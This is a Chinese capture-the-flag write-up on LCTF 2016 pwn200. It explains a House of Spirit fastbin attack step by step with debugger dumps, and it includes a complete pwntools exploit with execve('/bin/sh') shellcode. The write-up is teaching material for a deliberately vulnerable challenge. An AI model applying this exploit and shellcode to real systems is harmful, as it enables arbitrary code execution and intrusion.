fastbin_attack中的House of Spirit(例题)
题目:LCTF 2016 pwn200
参考资料:PWN入门(3-10-2)-fastbin_attack中的House of Spirit(例题) (yuque.com)
lctf2016_pwn200 - 简书 (jianshu.com)
附件下载:
链接:https://pan.baidu.com/s/19XhTlMm0rA2cy0IuhujWtQ 提取码:sw0o –来自百度网盘超级会员V3的分享
实验环境
Ubuntu16.04,libc版本是2.23
检查文件保护机制
未开启任何保护。
IDA静态分析 main函数
sub_40079D函数
设置程序的缓冲区。
sub_400A8E()函数
根据函数是否有返回值来确定函数的类型是否改为void
由于循环次数为48次,而定义变量v2时分配了48字节。那么当我们输入48字节的内容时,根据printf的特性,在打印的时候会泄露出栈ebp的地址。
printf打印字符串直到\x00为止
可以看见v2是和栈底ebp相连的,所以泄露时会打印出ebp的地址。
sub_400A8E()–>sub_4007DF()函数
简单来说,这个函数就是用来输入数字并将输入内容转化为int类型数据。
sub_400A8E()–>sub_400A29函数
这个函数开头就malloc了0x40的堆空间,然后将chunk的data段地址赋值给了dest,之后调用read函数让我们输入”money”保存到buf中。但这里值得注意的是: buf的大小是0x32,而read可以读0x40个数据,在经过strcpy之后会造成overflow,而被盖掉的是dest,也就是保存malloc出来的chunk地址。将申请出来的chunk的data段地址传入了函数sub_4009C4。
1 2 3 4 5 6 0000000000000040 buf db ? 大小0x40 -000000000000003F db ? ; undefined......(省略的为buf空间) -0000000000000008 dest dq ? ; offset+0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
ptr是void类型的全局指针
sub_400A8E()–>sub_400A29–>sub_4009C4()函数
sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4009AF函数
菜单界面。
sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4007DF函数
也是输入数字并将输入内容转化为int类型数据。
sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_40096D函数
根据ptr指针来判断用户是否登陆。
sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4008B7函数
Pwngdb动态调试 运行程序,熟悉程序执行流程
重新输入调试,了解内存布局
查看内存分布:
查看堆的内容:
正好对应了sub_400A29函数开头的malloc(0x40)。
0x00007fff0a363534小端部分的363534正好对应了输入的money:456(小端序 ),前面的7fff应该是之前写入的,只有低地址被覆盖了。
查看此时的栈:
再查看一下函数调用栈
查看此时0x7fffffffdd98处内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> x/30 gx 0x7fffffffdd98 0x7fffffffdd98 : 0x0000000000000000 0x0000000000000000 0x7fffffffdda8 : 0x0000000000400824 0x0000000000000000 0x7fffffffddb8 : 0x0000000000000000 0x00007fffffffdde0 0x7fffffffddc8 : 0x00000000004009e0 0x0000000000000000 0x7fffffffddd8 : 0x00007ffff7ffe168 0x00007fffffffde30 0x7fffffffdde8 : 0x0000000000400a8c 0x00007fff0a363534 #buf输入到这里 0x7fffffffddf8 : 0x0000000000000000 0x0000000000000000 0x7fffffffde08 : 0x00007ffff7a43ea0 0x0000000000000009 0x7fffffffde18 : 0x00000000004008b5 0x0000000000333231 #id输入到这里 0x7fffffffde28 : 0x0000000000603010 0x00007fffffffde90 #chunk_data起始地址 0x7fffffffde38 : 0x0000000000400b34 0x00007ffff7dd18e0 0x7fffffffde48 : 0x00007ffff7fdd700 0x0000000000000007 0x7fffffffde58 : 0x000000000000007b 0x006e61757975687a #name输入在这里 0x7fffffffde68 : 0x00007ffff7a7cfc4 0x0000000000000000 0x7fffffffde78 : 0x0000000000000000 0x00007fffffffde90 0x7fffffffde88 : 0x00000000004007dd 0x00007fffffffdeb0 #rbp 0x7fffffffde98 : 0x0000000000400b59 0x00007fffffffdf98 #sub_400A8E返回地址 0x7fffffffdea8 : 0x0000000100000000 0x0000000000400b60 #rbp内容 0x7fffffffdeb8 : 0x00007ffff7a2d840 0x0000000000000000 0x7fffffffdec8 : 0x00007fffffffdf98 0x0000000100000000 0x7fffffffded8 : 0x0000000000400b36 0x0000000000000000 0x7fffffffdee8 : 0xe8960b468bc217dc 0x00000000004006b0 0x7fffffffdef8 : 0x00007fffffffdf90 0x0000000000000000 0x7fffffffdf08 : 0x0000000000000000 0x1769f439208217dc
可以重新输入调试溢出的情况:
1 2 3 4 输入: name: 111111111111111111111111111111111111111111111111 id: 222 buf:333333333333333333333333333333333333333333333333333333333333333
查看内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> x/30 gx 0x7fffffffdd98 0x7fffffffdd98 : 0x0000000000000000 0x0000000000000000 0x7fffffffdda8 : 0x0000000000000000 0x0000000000000000 0x7fffffffddb8 : 0x0000000000000000 0x0000000000400cb7 0x7fffffffddc8 : 0x00007ffff7a7c80a 0x0000000000000000 0x7fffffffddd8 : 0x00007ffff7ffe168 0x0000000000000001 0x7fffffffdde8 : 0x0000000000400a77 0x3333333333333333 #buf输入到这里 0x7fffffffddf8 : 0x3333333333333333 0x3333333333333333 0x7fffffffde08 : 0x3333333333333333 0x3333333333333333 0x7fffffffde18 : 0x3333333333333333 0x3333333333333333 #id输入到这里 0x7fffffffde28 : 0x0a33333333333333 0x00007fffffffde90 #chunk_data 0x7fffffffde38 : 0x0000000000400b34 0x00007ffff7dd18e0 0x7fffffffde48 : 0x00007ffff7fdd700 0x0000000000000030 0x7fffffffde58 : 0x0000000000000001 0x3131313131313131 #name输入到这里 0x7fffffffde68 : 0x3131313131313131 0x3131313131313131 0x7fffffffde78 : 0x3131313131313131 0x3131313131313131 pwndbg> 0x7fffffffde88 : 0x3131313131313131 0x00007fffffffdeb0 #printf会泄露内容 #rbp 0x7fffffffde98 : 0x0000000000400b59 0x00007fffffffdf98 #sub_400A8E返回地址 0x7fffffffdea8 : 0x0000000100000000 0x0000000000400b60 #rbp的内容 0x7fffffffdeb8 : 0x00007ffff7a2d840 0x0000000000000000 #main函数返回地址 0x7fffffffdec8 : 0x00007fffffffdf98 0x0000000100000000 0x7fffffffded8 : 0x0000000000400b36 0x0000000000000000 0x7fffffffdee8 : 0x7406ae250f91cc0a 0x00000000004006b0 0x7fffffffdef8 : 0x00007fffffffdf90 0x0000000000000000
漏洞利用思路
将shellcode.ljust(48,’a’’)输入到name中,通过 off-by-one漏洞打印出来main函数栈底,通过上面结构图能够算出shellcode的地址,选取一个处在money中的位置作为fake_chunk
在money中伪造堆块size,在id里面输入的是下一个堆块的size(大小不能小于2* SIZE_SZ同时也不能大于av->system_mem ),同时通过堆溢出漏洞覆盖掉dest
free掉刚才伪造的堆块,使其进入fastbin
申请堆块,申请出来还是在原来的位置。
输入数据到刚才申请的堆块中,覆盖掉leave指令,让之后的rip指向shellcode,完成劫持,执行shellocde。
自动化执行程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def init (leak ): sh.sendafter("who are u?\n" ,leak) def fake (payload ): sh.sendlineafter("give me your id ~~?" ,"31" ) sh.sendafter("give me money~" ,payload) def checkin (idx,payload ): sh.sendlineafter("your choice : " ,"1" ) sh.sendlineafter("how long?\n" ,str (idx)) sh.sendafter(str (idx)+'\n' ,payload) def checkout (): sh.sendlineafter("your choice : " ,"2" )
泄露sub_400A8E栈底 部分payload如下:
1 2 3 4 5 6 init('a' *0x30 ) sh.recvuntil('a' *0x30 ) reg_RBP = u64(sh.recv(6 ).ljust(8 ,"\x00" )) success("RBP register ===> " +hex (reg_RBP))
执行完后,此时就会把栈底0x7fffffffdf30打印出来。
伪造fake_chunk 部分payload如下:
1 2 3 4 5 6 shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05" payload = (shellcode+p64(0 )*2 +p64(0x41 )).ljust(0x38 ,'\x00' ) payload = payload+p64(reg_RBP-0x90 ) fake(payload)
执行完之后,观察内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/50 gx 0x7fffffffdf30 - 0xc0 0x7fffffffde70 : 0x69622fbb48f63100 0x54535668732f2f6e #shellocde开始 0x7fffffffde80 : 0x050fd231583b6a5f 0x0000000000000000 #shellcode结束 0x7fffffffde90 : 0x0000000000000000 0x0000000000000041 0x7fffffffdea0 : 0x0000000000000000 0x00007fffffffdea0 #输入的id内容 #ptr(即chunk_data)现在指向0x00007fffffffdea0 此时堆块的地址被修改为0x7fffffffde90 0x7fffffffdeb0 : 0x00007fffffffdf10 0x0000000000400b34 0x7fffffffdec0 : 0x00007ffff7dd18e0 0x00007ffff7fdd700 0x7fffffffded0 : 0x0000000000000030 0x000000000000001f 0x7fffffffdee0 : 0x6161616161616161 0x6161616161616161 #name从这里开始 0x7fffffffdef0 : 0x6161616161616161 0x6161616161616161 0x7fffffffdf00 : 0x6161616161616161 0x6161616161616161 0x7fffffffdf10 : 0x00007fffffffdf30 0x0000000000400b59 #被泄露的rbp 0x7fffffffdf20 : 0x00007fffffffe018 0x0000000100000000
向栈中写入payload之前会进行malloc,malloc之后ptr指针指向的地址被修改为0x00007fffffffdea0,但是进行strcpy有\x00截断,shellcode之前的\x00正好截断,不会破坏payload。
malloc_chunk_start_addr = 0x7fffffffde90
现在ptr指向0x00007fffffffdea0
执行登出操作(free堆块) 部分payload:
此时ptr指向0x00007fffffffdea0
执行登陆操作(malloc) 部分payload如下:
1 checkin(0x30 ,p64(0 )*3 +p64(reg_RBP - 0xc0 + 1 ))
checkin中的malloc,上一步free把chunk放到了fastbin中,所以malloc之后ptr=0x7fffffffdea0
执行之后观察内存:
执行前:
1 2 3 4 5 6 7 0x7fffffffde90 : 0x0000000000000000 0x0000000000000041 0x7fffffffdea0 : 0x0000000000000000 0x00007fffffffdea0 #输入的id内容 #ptr(即chunk_data)现在指向0x00007fffffffdea0 此时堆块的地址被修改为0x7fffffffde90 0x7fffffffdeb0 : 0x00007fffffffdf10 0x0000000000400b34 leave指令地址
执行后:
1 2 3 4 5 0x7fffffffde90 : 0x0000000000000000 0x0000000000000041 0x7fffffffdea0 : 0x0000000000000000 0x0000000000000000 #输入的id内容 0x7fffffffdeb0 : 0x0000000000000000 0x00007fffffffde71 修改为shellcode地址
所以,程序退出时,就可以getshell。
注意 当我们利用House Of Spirt,伪造fake_chunk时,同时也要伪造next_chunk的size字段,因为前文说过,fastbin的检查机制同时也会检查free_chunk的下一个chunk的size字段。在本题中:
1 2 3 4 5 6 7 8 9 0x7fffffffde90 : 0x0000000000000000 0x0000000000000041 #fake_chunk0x7fffffffdea0 : 0x0000000000000000 0x0000000000000000 0x7fffffffdeb0 : 0x0000000000000000 0x00007fffffffde71 0x7fffffffdec0 : 0x00007ffff7dd18e0 0x00007ffff7fdd700 0x7fffffffded0 : 0x0000000000000030 0x000000000000001f #next_chunk_size0x7fffffffdee0 : 0x6161616161616161 0x6161616161616161 0x7fffffffdef0 : 0x6161616161616161 0x6161616161616161 0x7fffffffdf00 : 0x6161616161616161 0x6161616161616161
绕过了检测机制。所以fake_chunk才能被顺利的free掉。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) sh = 0 def init (leak ): sh.sendafter("who are u?\n" ,leak) def fake (payload ): sh.sendlineafter("give me your id ~~?" ,"31" ) sh.sendafter("give me money~" ,payload) def checkin (idx,payload ): sh.sendlineafter("your choice : " ,"1" ) sh.sendlineafter("how long?\n" ,str (idx)) sh.sendafter(str (idx)+'\n' ,payload) def checkout (): sh.sendlineafter("your choice : " ,"2" ) def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("./pwn" ) else : sh = remote(ip,port) init('a' *0x30 ) sh.recvuntil('a' *0x30 ) reg_RBP = u64(sh.recv(6 ).ljust(8 ,"\x00" )) success("RBP register ===> " +hex (reg_RBP)) shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05" payload = (shellcode+p64(0 )*2 +p64(0x41 )).ljust(0x38 ,'\x00' ) payload = payload+p64(reg_RBP-0x90 ) fake(payload) checkout() checkin(0x30 ,p64(0 )*3 +p64(reg_RBP - 0xc0 + 1 )) sh.recv() sh.sendline('3' ) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"25309" ,0 ,0 )
总结 因为这道题所有的溢出都无法覆盖到有效地址(return to shellcode),所以我们需要伪造一个fastbin_chunk回收到fastbin链中再释放从而控制更大范围的内存空间。
注意伪造fake_fastbin_chunk的条件
fake chunk的ISMMAP位不能为1,因为 free 时,如果是 mmap的chunk,会单独处理。
fake chunk地址需要对齐,MALLOC_ALIGN_MASK。
fake chunk的size大小需要满足对应的fastbin 的需求,同时也得对齐。
fake chunk的next chunk的大小不能小于2 * SIZE_SZ,(在32位系统中,SIZE_SZ是4;64位系统中,SIZE_SZ是8。next_chunk大小为1f (十进制:31)) ,同时也小于system_mem。
fake chunk对应的 fastbin链表头部不能是该fake chunk,即不能构成double free的情况。